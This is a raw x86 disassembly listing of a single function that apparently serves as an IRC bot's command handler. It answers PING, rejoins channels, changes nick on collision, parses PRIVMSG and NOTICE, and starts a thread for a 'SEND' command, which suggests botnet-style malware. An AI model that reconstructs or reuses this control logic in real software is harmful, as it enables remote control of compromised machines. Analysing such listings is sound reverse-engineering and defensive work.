var_2AB8	= dword	ptr -2AB8h
var_2AB4	= dword	ptr -2AB4h
var_2AB0	= dword	ptr -2AB0h
var_2AA8	= byte ptr -2AA8h
var_2990	= byte ptr -2990h
var_2910	= dword	ptr -2910h
var_290C	= dword	ptr -290Ch
var_2908	= dword	ptr -2908h
var_2904	= dword	ptr -2904h
var_2900	= dword	ptr -2900h
var_28FC	= dword	ptr -28FCh
var_28F8	= byte ptr -28F8h
var_2878	= byte ptr -2878h
var_2778	= byte ptr -2778h
var_2678	= dword	ptr -2678h
var_2674	= dword	ptr -2674h
var_2670	= dword	ptr -2670h
var_266C	= dword	ptr -266Ch
var_2668	= dword	ptr -2668h
var_2664	= dword	ptr -2664h
var_2660	= dword	ptr -2660h
var_265C	= dword	ptr -265Ch
var_2658	= dword	ptr -2658h
var_2654	= dword	ptr -2654h
var_2650	= byte ptr -2650h
var_25D0	= byte ptr -25D0h
var_24D0	= byte ptr -24D0h
var_23D0	= dword	ptr -23D0h
var_23CC	= dword	ptr -23CCh
var_23C8	= dword	ptr -23C8h
var_23C4	= dword	ptr -23C4h
var_23C0	= dword	ptr -23C0h
var_23BC	= dword	ptr -23BCh
var_23B8	= dword	ptr -23B8h
var_23B4	= dword	ptr -23B4h
var_23B0	= dword	ptr -23B0h
var_23AC	= dword	ptr -23ACh
var_23A8	= byte ptr -23A8h
var_2328	= byte ptr -2328h
var_22A8	= byte ptr -22A8h
var_2228	= dword	ptr -2228h
var_2224	= dword	ptr -2224h
var_2220	= dword	ptr -2220h
var_221C	= dword	ptr -221Ch
var_2218	= dword	ptr -2218h
var_2214	= byte ptr -2214h
var_2194	= byte ptr -2194h
var_2114	= byte ptr -2114h
var_2094	= dword	ptr -2094h
var_2090	= dword	ptr -2090h
var_208C	= dword	ptr -208Ch
var_2088	= dword	ptr -2088h
var_2084	= dword	ptr -2084h
var_2080	= byte ptr -2080h
var_2000	= byte ptr -2000h
var_1F80	= byte ptr -1F80h
var_1F00	= dword	ptr -1F00h
var_1EFC	= dword	ptr -1EFCh
var_1EF8	= dword	ptr -1EF8h
var_1EF4	= dword	ptr -1EF4h
var_1EF0	= dword	ptr -1EF0h
var_1EEC	= byte ptr -1EECh
var_1DEC	= byte ptr -1DECh
var_1D6C	= dword	ptr -1D6Ch
var_1D64	= dword	ptr -1D64h
var_1D60	= dword	ptr -1D60h
var_1D5C	= dword	ptr -1D5Ch
var_1D58	= dword	ptr -1D58h
var_1D54	= dword	ptr -1D54h
var_1D50	= dword	ptr -1D50h
var_1D48	= byte ptr -1D48h
var_1D34	= byte ptr -1D34h
var_1C30	= byte ptr -1C30h
var_1BAC	= dword	ptr -1BACh
var_1BA8	= dword	ptr -1BA8h
var_1BA4	= dword	ptr -1BA4h
var_1BA0	= dword	ptr -1BA0h
var_1B9C	= dword	ptr -1B9Ch
var_1B94	= byte ptr -1B94h
var_1B80	= byte ptr -1B80h
var_1A7C	= byte ptr -1A7Ch
var_19FC	= dword	ptr -19FCh
var_19F8	= dword	ptr -19F8h
var_19F4	= dword	ptr -19F4h
var_19F0	= dword	ptr -19F0h
var_19EC	= dword	ptr -19ECh
var_19E8	= dword	ptr -19E8h
var_19E4	= byte ptr -19E4h
var_1964	= byte ptr -1964h
var_1924	= byte ptr -1924h
var_1824	= dword	ptr -1824h
var_1820	= dword	ptr -1820h
var_1814	= dword	ptr -1814h
var_1810	= dword	ptr -1810h
var_180C	= dword	ptr -180Ch
var_1808	= byte ptr -1808h
var_17D0	= byte ptr -17D0h
var_17B4	= byte ptr -17B4h
var_177C	= byte ptr -177Ch
var_1778	= byte ptr -1778h
var_16F8	= byte ptr -16F8h
var_16B8	= byte ptr -16B8h
var_1628	= dword	ptr -1628h
var_1624	= dword	ptr -1624h
var_1620	= dword	ptr -1620h
var_161C	= dword	ptr -161Ch
var_1618	= dword	ptr -1618h
var_1614	= byte ptr -1614h
var_1594	= byte ptr -1594h
var_1514	= dword	ptr -1514h
var_1510	= dword	ptr -1510h
var_150C	= dword	ptr -150Ch
var_1508	= dword	ptr -1508h
var_1504	= byte ptr -1504h
var_14F4	= byte ptr -14F4h
var_1474	= byte ptr -1474h
var_13F4	= dword	ptr -13F4h
var_13EC	= dword	ptr -13ECh
var_13E8	= dword	ptr -13E8h
var_13E4	= dword	ptr -13E4h
var_13E0	= dword	ptr -13E0h
var_13DC	= dword	ptr -13DCh
var_13D8	= dword	ptr -13D8h
var_13D4	= byte ptr -13D4h
var_1354	= byte ptr -1354h
var_12D4	= byte ptr -12D4h
var_1254	= dword	ptr -1254h
var_1250	= dword	ptr -1250h
var_124C	= dword	ptr -124Ch
var_1248	= dword	ptr -1248h
var_1244	= dword	ptr -1244h
var_1240	= dword	ptr -1240h
var_123C	= dword	ptr -123Ch
var_1238	= dword	ptr -1238h
var_1230	= byte ptr -1230h
var_11B0	= byte ptr -11B0h
var_1130	= dword	ptr -1130h
var_112C	= dword	ptr -112Ch
var_1128	= dword	ptr -1128h
var_1120	= dword	ptr -1120h
var_111C	= dword	ptr -111Ch
var_1118	= dword	ptr -1118h
var_1110	= dword	ptr -1110h
var_110C	= byte ptr -110Ch
var_108C	= byte ptr -108Ch
var_100C	= dword	ptr -100Ch
var_1008	= dword	ptr -1008h
var_1004	= dword	ptr -1004h
var_FFC		= dword	ptr -0FFCh
var_FF8		= dword	ptr -0FF8h
var_FF4		= dword	ptr -0FF4h
var_FF0		= dword	ptr -0FF0h
var_FEC		= dword	ptr -0FECh
var_FE8		= byte ptr -0FE8h
var_F68		= dword	ptr -0F68h
var_F64		= dword	ptr -0F64h
var_F60		= dword	ptr -0F60h
var_F5C		= dword	ptr -0F5Ch
var_F58		= dword	ptr -0F58h
var_F54		= byte ptr -0F54h
var_ED4		= dword	ptr -0ED4h
var_ED0		= dword	ptr -0ED0h
var_ECC		= dword	ptr -0ECCh
var_EC8		= dword	ptr -0EC8h
var_EC4		= dword	ptr -0EC4h
var_EC0		= byte ptr -0EC0h
var_E40		= dword	ptr -0E40h
var_E3C		= dword	ptr -0E3Ch
var_E38		= dword	ptr -0E38h
var_E34		= dword	ptr -0E34h
var_E30		= byte ptr -0E30h
var_E10		= byte ptr -0E10h
var_E00		= byte ptr -0E00h
var_D80		= dword	ptr -0D80h
var_D7C		= byte ptr -0D7Ch
var_CFC		= byte ptr -0CFCh
var_C7C		= dword	ptr -0C7Ch
var_C78		= dword	ptr -0C78h
var_C74		= dword	ptr -0C74h
var_C70		= dword	ptr -0C70h
var_C6C		= dword	ptr -0C6Ch
var_C68		= dword	ptr -0C68h
var_C64		= dword	ptr -0C64h
var_C60		= dword	ptr -0C60h
var_C5C		= dword	ptr -0C5Ch
var_C58		= dword	ptr -0C58h
var_C54		= byte ptr -0C54h
var_BD4		= dword	ptr -0BD4h
var_BD0		= dword	ptr -0BD0h
var_BCC		= dword	ptr -0BCCh
var_BC8		= dword	ptr -0BC8h
var_BC4		= byte ptr -0BC4h
var_B44		= dword	ptr -0B44h
var_B40		= dword	ptr -0B40h
var_B3C		= dword	ptr -0B3Ch
var_B38		= dword	ptr -0B38h
var_B34		= dword	ptr -0B34h
var_B30		= dword	ptr -0B30h
var_B2C		= byte ptr -0B2Ch
var_AAC		= dword	ptr -0AACh
var_AA8		= dword	ptr -0AA8h
var_AA4		= dword	ptr -0AA4h
var_AA0		= dword	ptr -0AA0h
var_A9C		= dword	ptr -0A9Ch
var_A98		= dword	ptr -0A98h
var_A94		= byte ptr -0A94h
var_A14		= dword	ptr -0A14h
var_A10		= dword	ptr -0A10h
var_A0C		= dword	ptr -0A0Ch
var_A08		= dword	ptr -0A08h
var_A04		= dword	ptr -0A04h
var_A00		= dword	ptr -0A00h
var_9FC		= byte ptr -9FCh
var_97C		= word ptr -97Ch
var_978		= dword	ptr -978h
var_970		= dword	ptr -970h
var_96C		= dword	ptr -96Ch
var_968		= dword	ptr -968h
var_960		= byte ptr -960h
var_8FF		= byte ptr -8FFh
var_8FE		= byte ptr -8FEh
var_8FC		= byte ptr -8FCh
var_8FB		= byte ptr -8FBh
var_8F2		= byte ptr -8F2h
var_8F0		= byte ptr -8F0h
var_8EE		= byte ptr -8EEh
var_8ED		= byte ptr -8EDh
var_860		= byte ptr -860h
var_850		= byte ptr -850h
var_7D0		= byte ptr -7D0h
var_750		= dword	ptr -750h
var_74C		= dword	ptr -74Ch
var_748		= dword	ptr -748h
var_744		= dword	ptr -744h
var_740		= dword	ptr -740h
var_734		= dword	ptr -734h
var_730		= dword	ptr -730h
var_728		= dword	ptr -728h
var_724		= dword	ptr -724h
var_720		= dword	ptr -720h
var_71C		= dword	ptr -71Ch
var_714		= dword	ptr -714h
var_710		= byte ptr -710h
var_690		= dword	ptr -690h
var_688		= dword	ptr -688h
var_684		= dword	ptr -684h
var_680		= dword	ptr -680h
var_678		= dword	ptr -678h
var_674		= dword	ptr -674h
var_670		= dword	ptr -670h
var_668		= dword	ptr -668h
var_63C		= dword	ptr -63Ch
var_638		= word ptr -638h
var_624		= dword	ptr -624h
var_620		= byte ptr -620h
var_5A0		= byte ptr -5A0h
var_590		= dword	ptr -590h
var_58C		= dword	ptr -58Ch
var_584		= dword	ptr -584h
var_580		= dword	ptr -580h
var_57C		= dword	ptr -57Ch
var_574		= dword	ptr -574h
var_570		= byte ptr -570h
var_4F0		= dword	ptr -4F0h
var_4EC		= dword	ptr -4ECh
var_4E8		= dword	ptr -4E8h
var_4E4		= dword	ptr -4E4h
var_4E0		= dword	ptr -4E0h
var_4D8		= dword	ptr -4D8h
var_4D4		= dword	ptr -4D4h
var_4D0		= dword	ptr -4D0h
var_4C8		= byte ptr -4C8h
var_4BC		= byte ptr -4BCh
var_484		= byte ptr -484h
var_474		= byte ptr -474h
var_3F4		= byte ptr -3F4h
var_374		= dword	ptr -374h
var_370		= dword	ptr -370h
var_36C		= dword	ptr -36Ch
var_368		= dword	ptr -368h
var_364		= dword	ptr -364h
var_358		= dword	ptr -358h
var_354		= dword	ptr -354h
var_34C		= dword	ptr -34Ch
var_348		= dword	ptr -348h
var_344		= dword	ptr -344h
var_340		= dword	ptr -340h
var_338		= byte ptr -338h
var_31C		= word ptr -31Ch
var_31A		= word ptr -31Ah
var_318		= dword	ptr -318h
var_30C		= byte ptr -30Ch
var_308		= dword	ptr -308h
var_2FC		= byte ptr -2FCh
var_2F8		= byte ptr -2F8h
var_2F4		= dword	ptr -2F4h
var_2E8		= byte ptr -2E8h
var_2E4		= byte ptr -2E4h
var_2E3		= byte ptr -2E3h
var_2E2		= byte ptr -2E2h
var_2D8		= dword	ptr -2D8h
var_2D4		= dword	ptr -2D4h
var_2D0		= dword	ptr -2D0h
var_2CC		= dword	ptr -2CCh
var_2C8		= dword	ptr -2C8h
var_2C4		= byte ptr -2C4h
var_C4		= byte ptr -0C4h
var_AC		= dword	ptr -0ACh
var_A8		= dword	ptr -0A8h
var_A4		= dword	ptr -0A4h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_93		= byte ptr -93h
var_92		= byte ptr -92h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= dword	ptr -78h
var_50		= byte ptr -50h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= dword	ptr  30h

		push	ebp
		mov	ebp, esp
		mov	eax, 5D88h
		call	sub_41BB20
		push	ebx
		push	esi
		mov	esi, 200h
		push	edi
		xor	ebx, ebx
		push	esi
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	eax
		mov	[ebp+var_AC], 3
		mov	[ebp+var_10], ebx
		mov	[ebp+var_A4], ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_2C8], ebx
		call	sub_41B590
		push	1Bh
		lea	eax, [ebp+var_338]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		add	esp, 18h
		cmp	[ebp+arg_0], ebx
		jz	loc_401E94
		push	esi
		lea	eax, [ebp+var_4488]
		push	ebx
		push	eax
		call	sub_41B590
		dec	esi
		lea	eax, [ebp+var_4488]
		push	esi
		push	[ebp+arg_0]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_4488]
		push	offset asc_42CA30 ; " :"
		push	eax
		call	sub_41B900
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_4488]
		push	esi
		push	eax
		lea	eax, [ebp+var_4AF0]
		push	eax
		call	sub_41B5F0
		mov	esi, offset asc_42CA2C ; " "
		lea	eax, [ebp+var_4AF0]
		push	esi
		push	eax
		call	sub_41C0F4
		add	esp, 34h
		mov	[ebp+var_90], eax
		lea	edi, [ebp+var_8C]
		mov	[ebp+var_A8], 1Fh


loc_401BA0:				; CODE XREF: sub_401ACD+E7j
		push	esi
		push	ebx
		call	sub_41C0F4
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	[ebp+var_A8]
		pop	ecx
		jnz	short loc_401BA0
		mov	esi, [ebp+var_90]
		cmp	esi, ebx
		jz	loc_401E94
		cmp	[ebp+var_8C], ebx
		jz	loc_401E94
		push	100h
		lea	eax, [ebp+var_960]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	ecx, [ebp+var_14]
		push	1Fh
		pop	edx
		push	1
		pop	edi


loc_401BEE:				; CODE XREF: sub_401ACD+153j
		mov	eax, [ecx]
		cmp	eax, ebx
		jz	short loc_401C1A
		cmp	byte ptr [eax],	2Dh
		jnz	short loc_401C22
		cmp	[eax+2], bl
		jnz	short loc_401C22
		movsx	esi, byte ptr [eax+1]
		mov	[ecx], ebx
		mov	[ebp+esi+var_960], 1
		mov	esi, [ebp+var_90]
		mov	[eax], bl
		mov	[eax+1], bl
		mov	[eax+2], bl


loc_401C1A:				; CODE XREF: sub_401ACD+125j
		dec	edx
		sub	ecx, 4
		cmp	edx, ebx
		jge	short loc_401BEE


loc_401C22:				; CODE XREF: sub_401ACD+12Aj
					; sub_401ACD+12Fj
		cmp	[ebp+var_8ED], bl
		jz	short loc_401C2D
		mov	[ebp+var_8], edi


loc_401C2D:				; CODE XREF: sub_401ACD+15Bj
		cmp	[ebp+var_8F2], bl
		jz	short loc_401C3B
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], edi


loc_401C3B:				; CODE XREF: sub_401ACD+166j
		cmp	byte ptr [esi],	0Ah
		jz	short loc_401C75
		push	7Fh
		lea	eax, [ebp+var_E00]
		push	esi
		push	eax
		call	sub_41B5F0
		lea	eax, [esi+1]
		push	17h
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_C4]
		push	offset asc_42CA28 ; "!"
		push	eax
		call	sub_41C0F4
		add	esp, 20h


loc_401C75:				; CODE XREF: sub_401ACD+171j
		push	esi
		push	offset aPing	; "PING"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401CC6
		push	[ebp+var_8C]
		mov	byte ptr [esi+1], 4Fh
		push	offset aPongS	; "PONG	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		mov	eax, [ebp+arg_20]
		add	esp, 0Ch
		cmp	[eax], ebx
		jnz	loc_401D6A
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 10h
		jmp	loc_401D6A
; ---------------------------------------------------------------------------


loc_401CC6:				; CODE XREF: sub_401ACD+1B7j
		mov	esi, [ebp+var_8C]
		push	esi
		push	offset a001	; "001"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4099E0
		push	esi
		push	offset a005	; "005"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4099E0
		push	esi
		push	offset a302	; "302"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401D2E
		push	offset a@	; "@"
		push	[ebp+var_84]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_401D6A
		inc	eax
		push	9Fh
		push	eax
		push	[ebp+arg_1C]
		call	sub_41B5F0
		jmp	short loc_401D67
; ---------------------------------------------------------------------------


loc_401D2E:				; CODE XREF: sub_401ACD+238j
		push	esi
		push	offset a433	; "433"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401D71
		push	ebx
		push	dword_4290A0
		push	dword_42909C
		push	[ebp+arg_10]
		call	sub_40B08D
		add	esp, 10h
		push	[ebp+arg_10]
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C


loc_401D67:				; CODE XREF: sub_401ACD+25Fj
		add	esp, 0Ch


loc_401D6A:				; CODE XREF: sub_401ACD+1D8j
					; sub_401ACD+1F4j ...
		mov	eax, edi
		jmp	loc_401E97
; ---------------------------------------------------------------------------


loc_401D71:				; CODE XREF: sub_401ACD+270j
		mov	esi, [ebp+arg_18]
		mov	[ebp+var_A8], 3
		mov	edi, 80h


loc_401D83:				; CODE XREF: sub_401ACD+2DBj
		lea	eax, [ebp+var_E00]
		push	eax
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401DA0
		mov	[ebp+var_A4], 1


loc_401DA0:				; CODE XREF: sub_401ACD+2C7j
		add	esi, edi
		dec	[ebp+var_A8]
		jnz	short loc_401D83
		mov	esi, [ebp+var_8C]
		push	esi
		push	offset aKick	; "KICK"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_401E9C
		mov	esi, [ebp+arg_18]
		mov	[ebp+arg_24], 3


loc_401DCF:				; CODE XREF: sub_401ACD+392j
		cmp	[esi], bl
		jz	loc_401E5A
		push	7Fh
		lea	eax, [ebp+var_E00]
		push	esi
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_C4]
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_401E5A
		cmp	[ebp+var_84], ebx
		jz	short loc_401E5A
		push	[ebp+var_84]
		lea	eax, [ebp+var_C4]
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401E5A
		lea	eax, [ebp+var_C4]
		mov	[esi], bl
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C9BC
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		lea	eax, [ebp+var_2C4]
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSS ; "NOTICE %s :%s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		add	esp, 14h


loc_401E5A:				; CODE XREF: sub_401ACD+304j
					; sub_401ACD+324j ...
		add	esi, edi
		dec	[ebp+arg_24]
		jnz	loc_401DCF
		push	[ebp+var_84]
		push	[ebp+arg_10]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401E94
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_20]
		push	[ebp+arg_8]
		mov	[eax], ebx
		push	offset aJoinSS	; "JOIN	%s %s\r\n"


loc_401E89:				; CODE XREF: sub_401ACD+612j
					; sub_401ACD+8D5j ...
		push	[ebp+arg_4]
		call	sub_409A2C


loc_401E91:				; CODE XREF: sub_401ACD+253Bj
					; sub_401ACD+2558j ...
		add	esp, 10h


loc_401E94:				; CODE XREF: sub_401ACD+5Bj
					; sub_401ACD+F1j ...
		push	1


loc_401E96:				; CODE XREF: sub_401ACD+2A61j
		pop	eax


loc_401E97:				; CODE XREF: sub_401ACD+29Fj
					; sub_401ACD+2A83j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_401E9C:				; CODE XREF: sub_401ACD+2F2j
		push	esi
		push	offset aNick	; "NICK"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_401FF2
		mov	eax, [ebp+var_88]
		mov	esi, [ebp+arg_18]
		inc	eax
		mov	[ebp+arg_0], 3
		mov	[ebp+arg_24], eax


loc_401EC5:				; CODE XREF: sub_401ACD+44Aj
		lea	eax, [ebp+var_E00]
		push	eax
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401F12
		lea	eax, [ebp+var_E00]
		push	21h
		push	eax
		call	sub_41BFB0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_1C], eax
		jz	short loc_401F12
		push	[ebp+arg_24]
		lea	edi, [esi+2]
		mov	byte ptr [esi],	3Ah
		lea	eax, [edi-1]
		push	eax
		call	sub_41BEB0
		push	[ebp+arg_1C]
		push	edi
		call	sub_41BEC0
		add	esp, 10h
		mov	edi, 80h


loc_401F12:				; CODE XREF: sub_401ACD+409j
					; sub_401ACD+420j
		add	esi, edi
		dec	[ebp+arg_0]
		jnz	short loc_401EC5
		lea	eax, [ebp+var_C4]
		test	eax, eax
		jz	loc_401E94
		cmp	[ebp+arg_24], ebx
		jz	loc_401E94
		push	[ebp+arg_10]
		lea	eax, [ebp+var_C4]
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401F5A
		push	0Fh
		push	[ebp+arg_24]
		push	[ebp+arg_10]
		call	sub_41B5F0


loc_401F52:				; CODE XREF: sub_401ACD+1C35j
		add	esp, 0Ch
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_401F5A:				; CODE XREF: sub_401ACD+476j
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_401F5F:				; CODE XREF: sub_401ACD+4B3j
		cmp	[edi], bl
		jz	short loc_401F76
		lea	eax, [ebp+var_E00]
		push	eax
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_401F87


loc_401F76:				; CODE XREF: sub_401ACD+494j
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_401F5F
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_401F87:				; CODE XREF: sub_401ACD+4A7j
		lea	eax, [ebp+var_E00]
		push	21h
		push	eax
		call	sub_41BFB0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_0], eax
		jz	loc_401E94
		push	eax
		call	sub_41AFE0
		push	[ebp+arg_24]
		mov	edi, eax
		call	sub_41AFE0
		add	edi, eax
		pop	ecx
		cmp	edi, 7Eh
		pop	ecx
		ja	loc_401E94
		push	[ebp+arg_0]
		shl	esi, 7
		push	[ebp+arg_24]
		add	esi, [ebp+arg_18]
		push	offset aSS	; ":%s%s"
		push	esi
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_45EC]
		push	ebx
		push	eax
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 24h
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_401FF2:				; CODE XREF: sub_401ACD+3DEj
		push	esi
		push	offset aPart	; "PART"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_402014
		push	esi
		push	offset aQuit	; "QUIT"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40203B


loc_402014:				; CODE XREF: sub_401ACD+534j
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_402019:				; CODE XREF: sub_401ACD+56Cj
		cmp	[edi], bl
		jz	short loc_40202F
		push	[ebp+var_90]
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_402083


loc_40202F:				; CODE XREF: sub_401ACD+54Ej
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_402019


loc_40203B:				; CODE XREF: sub_401ACD+545j
		push	[ebp+var_8C]
		push	offset a353	; "353"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4020E4
		push	[ebp+var_80]
		push	[ebp+arg_8]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40206F
		mov	eax, [ebp+arg_20]
		mov	dword ptr [eax], 1


loc_40206F:				; CODE XREF: sub_401ACD+597j
		push	[ebp+var_80]
		push	offset unk_42C968


loc_402077:				; CODE XREF: sub_401ACD+28CCj
					; sub_401ACD+2C4Cj ...
		call	sub_415220


loc_40207C:				; CODE XREF: sub_401ACD+1BE1j
		pop	ecx


loc_40207D:				; CODE XREF: sub_401ACD+7B6Fj
		pop	ecx
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_402083:				; CODE XREF: sub_401ACD+560j
		mov	eax, [ebp+arg_18]
		shl	esi, 7
		mov	[esi+eax], bl
		lea	eax, [ebp+var_C4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C944
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		push	[ebp+var_8C]
		push	offset aPart	; "PART"
		call	sub_41C070
		add	esp, 18h
		test	eax, eax
		jnz	loc_401E94
		lea	eax, [ebp+var_2C4]
		push	eax
		mov	eax, [ebp+var_90]
		inc	eax
		push	eax
		push	offset aNoticeSS ; "NOTICE %s :%s\r\n"
		jmp	loc_401E89
; ---------------------------------------------------------------------------


loc_4020E4:				; CODE XREF: sub_401ACD+582j
		push	[ebp+var_8C]
		mov	esi, offset aPrivmsg ; "PRIVMSG"
		push	esi
		call	sub_41C070
		pop	ecx
		mov	edi, offset aNotice ; "NOTICE"
		test	eax, eax
		pop	ecx
		jz	short loc_402138
		push	[ebp+var_8C]
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_402138
		push	[ebp+var_8C]
		push	offset dword_42C930
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_409854
		cmp	dword_429088, ebx
		jz	loc_409854


loc_402138:				; CODE XREF: sub_401ACD+631j
					; sub_401ACD+643j
		push	[ebp+var_8C]
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4022BE
		push	[ebp+var_8C]
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4022BE
		mov	eax, [ebp+var_84]
		inc	[ebp+var_80]
		push	4
		mov	[ebp+var_88], eax
		pop	esi
		mov	[ebp+var_AC], esi


loc_40217C:				; CODE XREF: sub_401ACD+8ADj
					; sub_401ACD+8E9j ...
		shl	esi, 2
		mov	eax, [ebp+esi+var_90]
		lea	edi, [ebp+esi+var_90]
		push	eax
		push	offset dword_42C928
		mov	[ebp+arg_8], eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_402557
		push	[ebp+esi+var_8C]
		push	offset aSend_0	; "SEND"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40241E
		cmp	[ebp+var_A4], ebx
		jz	loc_4023F7
		push	[ebp+esi+var_88]
		mov	edi, offset aS_1 ; "%s"
		lea	eax, [ebp+var_1B80]
		push	edi
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		lea	eax, [ebp+var_1B94]
		push	[ebp+esi+var_84]
		push	edi
		push	eax
		call	sub_41B886
		push	[ebp+esi+var_80]
		call	sub_41B779
		mov	[ebp+var_19FC],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1B9C],	eax
		lea	eax, [ebp+var_C4]
		push	7Fh
		push	eax
		lea	eax, [ebp+var_1A7C]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 1Ch
		mov	[ebp+var_19F4],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_19F0],	eax
		lea	eax, [ebp+var_1A7C]
		push	eax
		lea	eax, [ebp+var_1B80]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C8EC
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Ah
		push	eax
		call	sub_40B0F6
		add	esp, 1Ch
		mov	[ebp+var_19F8],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1B9C]
		push	ebx
		push	eax
		push	offset loc_4161BC
		push	ebx
		push	ebx
		nop
		call	near ptr 2670659h
		mov	ecx, [ebp+var_19F8]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	loc_4023E6


loc_4022A8:				; CODE XREF: sub_401ACD+7EFj
		cmp	[ebp+var_19EC],	ebx
		jnz	loc_4083BC
		push	32h
		nop
		call	near ptr 26705B3h
		jmp	short loc_4022A8
; ---------------------------------------------------------------------------


loc_4022BE:				; CODE XREF: sub_401ACD+67Bj
					; sub_401ACD+691j
		push	[ebp+var_8C]
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4022D7
		mov	[ebp+var_4], 1


loc_4022D7:				; CODE XREF: sub_401ACD+801j
		cmp	[ebp+var_88], ebx
		jz	loc_401E94
		push	offset dword_42C8E8
		push	[ebp+var_88]
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4022FE
		cmp	[ebp+var_4], ebx
		jz	short loc_40230A


